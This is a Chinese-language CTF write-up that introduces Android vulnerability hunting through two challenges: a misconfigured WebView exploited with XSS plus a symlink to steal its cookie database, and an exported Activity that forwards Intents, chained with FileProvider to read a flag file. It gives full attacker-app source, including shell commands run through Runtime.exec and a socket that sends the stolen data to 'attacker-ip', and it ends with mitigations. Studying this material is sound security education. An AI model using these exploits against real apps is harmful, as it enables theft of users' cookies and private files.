通过两篇CTF Android题来入门Android 漏洞挖掘
字数 1458 2025-08-07 08:22:15
Android漏洞挖掘入门:WebView与Intent安全漏洞实战分析
一、WebView漏洞利用案例:easyAndroid
1. 漏洞背景
这是一个考察Android WebView错误配置导致XSS注入的漏洞,通过执行恶意JavaScript代码获取cookie文件。
2. 环境配置
- 目标包名:
com.bytectf.easydroid - 攻击者包名:
com.bytectf.pwneasydroid - 模拟器要求:Android 27 API,x86_64架构
3. 漏洞分析
关键代码分析
MainActivity.java:
public class MainActivity extends AppCompatActivity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri data = getIntent().getData();
if (data == null) {
data = Uri.parse("http://app.toutiao.com/");
}
if (data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")) {
WebView webView = new WebView(getApplicationContext());
webView.setWebViewClient(new WebViewClient() {
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (!Uri.parse(url).getScheme().equals("intent")) {
return super.shouldOverrideUrlLoading(view, url);
}
try {
MainActivity.this.startActivity(Intent.parseUri(url, 1));
} catch (URISyntaxException e) {
e.printStackTrace();
}
return true;
}
});
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true); // 关键漏洞点
webView.loadUrl(data.toString());
}
}
}
TestActivity.java:
public class TestActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String url = getIntent().getStringExtra("url");
WebView webView = new WebView(getApplicationContext());
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true); // 关键漏洞点
webView.loadUrl(url);
}
}
漏洞点
webView.getSettings().setJavaScriptEnabled(true)启用了JavaScript执行- 缺乏对加载URL的有效验证和过滤
- 可以通过Intent传递任意URL给WebView加载
4. 利用思路
-
创建符号链接:建立一个指向Cookies数据库的符号链接
String root = getApplicationInfo().dataDir; String symlink = root + "/symlink."; String cookies = "/data/data/com.byhtmltectf.easydroid/app_webview/Cookies"; Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink); -
构造恶意Intent:
Intent i = new Intent(); i.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity"); i.setData(Uri.parse("http://toutiao.com.azly.top/index.html")); // 包含XSS payload startActivity(i); -
XSS Payload设计:在远程服务器上的index.html中注入JavaScript代码,读取符号链接指向的Cookie文件
5. 完整攻击代码
MainActivity.java (攻击者应用):
public class MainActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
symlink(); // 创建软链接
Intent i = new Intent();
i.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity");
i.setData(Uri.parse("http://toutiao.com.azly.top/index.html"));
new Handler().postDelayed(() -> startActivity(i),5000);
}
private String symlink() {
try {
String root = getApplicationInfo().dataDir;
String symlink = root + "/symlink.";
String cookies = "/data/data/com.byhtmltectf.easydroid/app_webview/Cookies";
Runtime.getRuntime().exec("rm " + symlink).waitFor();
Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
return symlink;
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
二、Intent漏洞利用案例:BabyAndroid
1. 漏洞背景
这是一个考察Android Intent组件不当使用的漏洞,通过Intent跳转和参数传递实现权限提升和敏感数据窃取。
2. 环境配置
- 目标包名:
com.bytectf.babydroid - 攻击者包名:
com.bytectf.pwnbabydroid - 模拟器要求:Android 30 API,x86_64架构,Google APIs
3. 漏洞分析
关键代码分析
AndroidManifest.xml:
<activity android:name="com.bytectf.babydroid.Vulnerable">
<intent-filter>
<action android:name="com.bytectf.TEST"/>
</intent-filter>
</activity>
Vulnerable.java:
public class Vulnerable extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startActivity((Intent) getIntent().getParcelableExtra("intent")); // 关键漏洞点
}
}
漏洞点
- Vulnerable Activity直接执行传入的Intent对象,没有进行任何验证
- 可以通过构造特殊的Intent实现任意Activity跳转
- 结合FileProvider可实现任意文件读取
4. 利用思路
-
构造恶意Intent链:
- 通过Vulnerable Activity跳转到攻击者控制的Activity
- 在攻击者Activity中读取目标应用的flag文件
-
文件路径构造:
String file = "/root/data/data/com.bytectf.babydroid/files/flag"; -
数据外传:通过Socket将读取的flag发送到攻击者服务器
5. 完整攻击代码
MainActivity.java (攻击者应用):
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION |
Intent.FLAG_GRANT_PREFIX_URI_PERMISSION |
Intent.FLAG_GRANT_READ_URI_PERMISSION |
Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.bytectf.pwnbabydroid.FlagHunter");
extra.setData(Uri.parse("content://androidx.core.content.FileProvider/"));
Intent intent = new Intent();
intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
intent.putExtra("intent", extra);
intent.setAction("com.bytectf.TEST");
startActivity(intent);
}
}
FlagHunter.java:
public class FlagHunter extends Activity {
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
try {
String file = "/root/data/data/com.bytectf.babydroid/files/flag";
InputStream is = getContentResolver().openInputStream(
Uri.parse(getIntent().getDataString() + file));
BufferedReader br = new BufferedReader(new InputStreamReader(is));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line);
}
String flag = sb.toString();
new Thread(new Runnable() {
@Override
public void run() {
try {
Socket sk = new Socket();
SocketAddress address = new InetSocketAddress("attacker-ip", 6666);
sk.connect(address, 5000);
OutputStream os = sk.getOutputStream();
os.write(flag.getBytes());
os.flush();
os.close();
sk.close();
} catch (Exception e) {
Log.e("FlagHunter_Err",e.toString());
}
}
}).start();
} catch (Exception e) {
Log.e("FlagHunter_Err",e.toString());
}
}
}
三、防御措施
WebView安全防护
-
禁用JavaScript除非绝对必要:
webView.getSettings().setJavaScriptEnabled(false); -
实现严格的URL白名单验证:
if (!url.startsWith("https://trusted-domain.com")) { return false; } -
使用WebViewClient进行安全控制:
webView.setWebViewClient(new SafeWebViewClient());
Intent安全防护
-
验证传入的Intent参数:
Intent received = getIntent().getParcelableExtra("intent"); if (received != null && isSafeIntent(received)) { startActivity(received); } -
限制组件导出:
<activity android:exported="false"/> -
使用签名验证:
if (getPackageManager().checkSignatures(callingPackage, myPackage) == PackageManager.SIGNATURE_MATCH) { // 可信调用 }
四、总结
通过这两个CTF案例,我们学习了Android应用安全中两个重要漏洞点:
-
WebView安全:
- JavaScript启用导致XSS风险
- URL验证不足导致任意代码执行
- Cookie等敏感数据泄露风险
-
Intent安全:
- 不当的Intent传递导致权限提升
- 任意Activity跳转风险
- 结合FileProvider的任意文件读取
在实际Android应用开发和安全测试中,需要特别注意这些组件的安全配置和使用方式,避免出现类似的安全漏洞。